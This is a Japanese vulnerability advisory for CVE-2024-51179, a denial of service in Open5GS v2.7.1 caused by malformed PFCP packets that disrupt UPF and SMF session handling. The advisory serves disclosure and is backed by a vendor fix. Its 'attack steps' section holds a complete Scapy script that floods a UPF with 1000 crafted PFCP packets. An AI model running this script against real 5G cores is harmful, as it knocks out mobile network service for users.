
説明: Open 5GS v.2.7.1 には、リモートの攻撃者が User Plane Function(UPF)や Session Management Function(SMF)などの Network Function Virtualizations(NFV)を介してサービス拒否を引き起こすことを可能にする問題があります。NFV 内で発生するクラッシュにより、Packet Data Unit(PDU)セッション確立プロセスが影響を受けます。
攻撃者は、User Plane Function (UPF) の IP アドレス、PFCP ポート、および SEID(Session Endpoint Identifier)を取得した後、悪意のある PFCP(Packet Forwarding Control Protocol)パケットを作成して UPF にフラッディングすることができます。攻撃者がユーザープレーン・トラフィックにアクセスできる場合、必要なパラメータは Wireshark などのツールを使用して傍受できます。
脆弱性の種類: サービス拒否(Denial Of Service)
影響: 悪意のあるパケットを送信すると、UPF がエラー状態になり、新しい PDU セッションの確立に影響を及ぼします。さらに、悪意のある PFCP パケットのフラッディングにより SMF(Session Management Function)も影響を受け、コア機能が妨害されます。
前提条件: 5G コアネットワークは、コアネットワークとして Open5GS を使用し、gNB(Next Generation NodeB)および UE(User Equipment)のエミュレーションツールとして UERANSIM を使用して構築されました。
攻撃を実行する手順
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


この脆弱性は、Open5GS GitHub ページ(https://github.com/open5gs/open5gs/issues/3497)の Issue #3497 として文書化され、Open5GS ベンダーに報告されました。ベンダーは、根本原因をシステムクラッシュを引き起こすメモリ解放の問題であると特定しました。その後、パッチが適用され、この問題を解決するためにコードが更新されました。更新されたコードはここで確認できます。
https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd
CVE-2024-51179 が公開されました。
DIGITAL UNIVERSITY KERALA、 CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)